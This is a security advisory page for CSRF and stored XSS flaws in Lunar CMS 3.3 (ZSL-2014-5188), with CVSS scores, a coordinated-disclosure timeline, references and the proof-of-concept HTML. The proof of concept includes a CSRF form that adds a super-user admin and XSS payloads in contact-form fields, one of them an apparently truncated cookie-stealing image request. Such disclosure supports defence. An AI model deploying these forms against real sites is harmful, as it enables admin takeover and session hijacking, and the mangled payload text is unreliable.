Lucene search

K
zeroscienceGjoko KrsticZSL-2014-5188
HistoryJun 21, 2014 - 12:00 a.m.

Lunar CMS 3.3 CSRF And Stored XSS Vulnerability

2014-06-2100:00:00
Gjoko Krstic
zeroscience.mk
119

CVSS2

6.8

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:M/Au:N/C:P/I:P/A:P

AI Score

6

Confidence

High

EPSS

0.009

Percentile

82.7%

Title: Lunar CMS 3.3 CSRF And Stored XSS Vulnerability
Advisory ID: ZSL-2014-5188
Type: Local/Remote
Impact: Cross-Site Scripting
Risk: (3/5)
Release Date: 21.06.2014

Summary

Lunar CMS is a freely distributable open source content management system written for use on servers running the ever so popular PHP5 & MySQL.

Description

Lunar CMS suffers from a cross-site request forgery and a stored xss vulnerabilities. The application allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. This can be exploited to perform certain actions with administrative privileges if a logged-in user visits a malicious web site. Input passed to the ‘subject’ and ‘email’ POST parameters thru the ‘Contact Form’ extension/module is not properly sanitised before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user’s browser session in context of an affected site.

Vendor

Lunar CMS - <http://www.lunarcms.com>

Affected Version

3.3

Tested On

Apache/2.4.7 (Win32)
PHP/5.5.6
MySQL 5.6.14

Vendor Status

[11.06.2014] Vulnerabilities discovered.
[12.06.2014] Vendor contacted.
[12.06.2014] Vendor replies asking more details.
[12.06.2014] Sent details to the vendor.
[12.06.2014] Vendor confirms the vulnerabilities.
[13.06.2014] Working with the vendor.
[19.06.2014] Vendor releases fixed version 3.3-3 to address these issues.
[21.06.2014] Coordinated public security advisory released.

PoC

lunarcms_csrfxss.html

Credits

Vulnerability discovered by Gjoko Krstic - <[email protected]>

References

[1] <http://lunarcms.com/Get.html&gt;
[2] <http://osvdb.org/show/osvdb/108350&gt;
[3] <http://osvdb.org/show/osvdb/108351&gt;
[4] <http://cxsecurity.com/issue/WLB-2014060122&gt;
[5] <http://packetstormsecurity.com/files/127188&gt;
[6] <http://www.securityfocus.com/bid/68153&gt;
[7] <http://www.exploit-db.com/exploits/33830/&gt;
[8] <http://secunia.com/advisories/59411/&gt;
[9] <http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-4718&gt;
[10] <http://cve.mitre.org/cgi-bin/cvename.cgi?name=2014-4718&gt;
[11] <http://xforce.iss.net/xforce/xfdb/93957&gt;
[12] <http://xforce.iss.net/xforce/xfdb/93959&gt;

Changelog

[21.06.2014] - Initial release
[24.06.2014] - Added reference [2], [3], [4], [5], [6] and [7]
[25.06.2014] - Added reference [8]
[03.07.2014] - Added reference [9] and [10]
[05.07.2014] - Added reference [11] and [12]

Contact

Zero Science Lab

Web: <http://www.zeroscience.mk>
e-mail: [email protected]

<!--

Lunar CMS 3.3 CSRF And Stored XSS Vulnerability


Vendor: Lunar CMS
Product web page: http://www.lunarcms.com
Affected version: 3.3

Summary: Lunar CMS is a freely distributable open source content
management system written for use on servers running the ever so
popular PHP5 & MySQL.

Desc: Lunar CMS suffers from a cross-site request forgery and a
stored xss vulnerabilities. The application allows users to perform
certain actions via HTTP requests without performing any validity
checks to verify the requests. This can be exploited to perform
certain actions with administrative privileges if a logged-in user
visits a malicious web site. Input passed to the 'subject' and 'email'
POST parameters thru the 'Contact Form' extension/module is not properly
sanitised before being returned to the user. This can be exploited to
execute arbitrary HTML and script code in a user's browser session in
context of an affected site.

Tested on: Apache/2.4.7 (Win32)
           PHP/5.5.6
           MySQL 5.6.14


Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic
                              @zeroscience


Advisory ID: ZSL-2014-5188
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2014-5188.php


11.06.2014

--><html><body><p>CSRF Add Admin
===============


  </p>
<form action="http://localhost/lunarcms/admin/user_create.php" method="POST">
<input name="name" type="hidden" value="Hacker"/>
<input name="email" type="hidden" value="[email protected]"/>
<input name="password1" type="hidden" value="251ftw"/>
<input name="password2" type="hidden" value="251ftw"/>
<input name="access" type="hidden" value="0"/>
<input name="Submit" type="hidden" value="submit"/>
<input type="submit" value="Submit form"/>
</form>
  


Access levels:

0: Super user
1: Admin
2: Website only



CSRF Stored XSS (Session Hijack)
=================================


  
    <form action="http://localhost/lunarcms/admin/extensions.php?ext=contact_form&amp;top" method="POST">
<input name="email" type="hidden" value='"&gt;&lt;script&gt;alert(1);&lt;/script&gt;'/>
<input name="error" type="hidden" value="2"/>
<input name="sent" type="hidden" value="1"/>
<input http:="" name="subject" type="hidden" value='"&gt;&lt;script&gt;var x = new Image();x.src='/>' /&gt;
      <input name="submit" type="hidden" value="submit"/>
<input type="submit" value="Submit form"/>
</form>
</body></html>

CVSS2

6.8

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:M/Au:N/C:P/I:P/A:P

AI Score

6

Confidence

High

EPSS

0.009

Percentile

82.7%

Related for ZSL-2014-5188